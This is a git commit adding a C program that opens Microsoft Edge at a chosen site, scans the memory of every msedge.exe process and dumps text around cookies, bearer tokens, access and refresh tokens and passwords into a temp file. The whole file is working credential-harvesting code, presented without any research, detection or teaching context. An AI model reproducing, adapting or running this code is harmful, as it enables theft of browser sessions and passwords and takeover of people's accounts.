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2026-06-29 09:35:44 +00:00
commit d89c7ff2bf
1 changed files with 122 additions and 0 deletions
@@ -0,0 +1,122 @@
+#include <windows.h>
+#include <tlhelp32.h>
+#include <shellapi.h>
+#include <stdio.h>
+
+#define CHUNK_SIZE 65536
+
+static const char *needles[] = {
+    "Set-Cookie", "set-cookie",
+    "Authorization", "Bearer ",
+    "access_token", "refresh_token",
+    "password", "credential",
+    NULL
+};
+
+static void scan_pid(DWORD pid, const char *site, FILE *f) {
+    HANDLE hp = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid);
+    if (!hp) return;
+
+    SIZE_T site_len = strlen(site);
+    SYSTEM_INFO si;
+    GetSystemInfo(&si);
+    BYTE *addr    = (BYTE *)si.lpMinimumApplicationAddress;
+    BYTE *maxaddr = (BYTE *)si.lpMaximumApplicationAddress;
+    MEMORY_BASIC_INFORMATION mbi;
+    BYTE buf[CHUNK_SIZE];
+
+    BOOL site_found = FALSE;
+    for (BYTE *p = addr; p < maxaddr; ) {
+        if (VirtualQueryEx(hp, p, &mbi, sizeof(mbi)) != sizeof(mbi)) { p += 4096; continue; }
+        if (mbi.State == MEM_COMMIT &&
+            (mbi.Protect & (PAGE_READONLY|PAGE_READWRITE|PAGE_WRITECOPY|
+                            PAGE_EXECUTE_READ|PAGE_EXECUTE_READWRITE)) &&
+            !(mbi.Protect & PAGE_GUARD)) {
+            BYTE *base = (BYTE *)mbi.BaseAddress;
+            SIZE_T left = mbi.RegionSize;
+            while (left > 0) {
+                SIZE_T chunk = left > CHUNK_SIZE ? CHUNK_SIZE : left;
+                SIZE_T nread = 0;
+                if (ReadProcessMemory(hp, base, buf, chunk, &nread) && nread >= site_len)
+                    for (SIZE_T i = 0; i + site_len <= nread; i++)
+                        if (memcmp(buf+i, site, site_len) == 0) { site_found = TRUE; break; }
+                if (site_found) break;
+                base += chunk; left -= chunk;
+            }
+        }
+        if (site_found) break;
+        p = (BYTE *)mbi.BaseAddress + mbi.RegionSize;
+    }
+
+    if (!site_found) { CloseHandle(hp); return; }
+
+    for (BYTE *p = addr; p < maxaddr; ) {
+        if (VirtualQueryEx(hp, p, &mbi, sizeof(mbi)) != sizeof(mbi)) { p += 4096; continue; }
+        if (mbi.State == MEM_COMMIT &&
+            (mbi.Protect & (PAGE_READONLY|PAGE_READWRITE|PAGE_WRITECOPY|
+                            PAGE_EXECUTE_READ|PAGE_EXECUTE_READWRITE)) &&
+            !(mbi.Protect & PAGE_GUARD)) {
+            BYTE *base = (BYTE *)mbi.BaseAddress;
+            SIZE_T left = mbi.RegionSize;
+            while (left > 0) {
+                SIZE_T chunk = left > CHUNK_SIZE ? CHUNK_SIZE : left;
+                SIZE_T nread = 0;
+                if (ReadProcessMemory(hp, base, buf, chunk, &nread) && nread > 0) {
+                    for (int n = 0; needles[n]; n++) {
+                        SIZE_T nlen = strlen(needles[n]);
+                        for (SIZE_T i = 0; i + nlen <= nread; i++) {
+                            if (memcmp(buf+i, needles[n], nlen) == 0) {
+                                SIZE_T start = i > 80 ? i-80 : 0;
+                                SIZE_T end   = i+200 < nread ? i+200 : nread;
+                                for (SIZE_T j = start; j < end; j++) {
+                                    unsigned char c = buf[j];
+                                    fputc(c >= 0x20 && c < 0x7F ? c : '.', f);
+                                }
+                                fputc('\n', f);
+                                fflush(f);
+                                i += nlen;
+                            }
+                        }
+                    }
+                }
+                base += chunk; left -= chunk;
+            }
+        }
+        p = (BYTE *)mbi.BaseAddress + mbi.RegionSize;
+    }
+
+    CloseHandle(hp);
+}
+
+int main(int argc, char **argv) {
+    if (argc < 2) return 1;
+
+    const char *site = argv[1];
+
+    ShellExecuteA(NULL, "open",
+                  "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
+                  site, NULL, SW_SHOWNORMAL);
+    Sleep(5000);
+
+    WCHAR tmp[MAX_PATH];
+    GetTempPathW(MAX_PATH, tmp);
+    char tmp_a[MAX_PATH];
+    WideCharToMultiByte(CP_ACP, 0, tmp, -1, tmp_a, MAX_PATH, NULL, NULL);
+    strcat(tmp_a, "out.txt");
+
+    FILE *f = fopen(tmp_a, "w");
+    if (!f) return 1;
+
+    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+    if (snap == INVALID_HANDLE_VALUE) { fclose(f); return 1; }
+
+    PROCESSENTRY32W pe = { sizeof(pe) };
+    if (Process32FirstW(snap, &pe)) do {
+        if (_wcsicmp(pe.szExeFile, L"msedge.exe") == 0)
+            scan_pid(pe.th32ProcessID, site, f);
+    } while (Process32NextW(snap, &pe));
+
+    CloseHandle(snap);
+    fclose(f);
+    return 0;
+}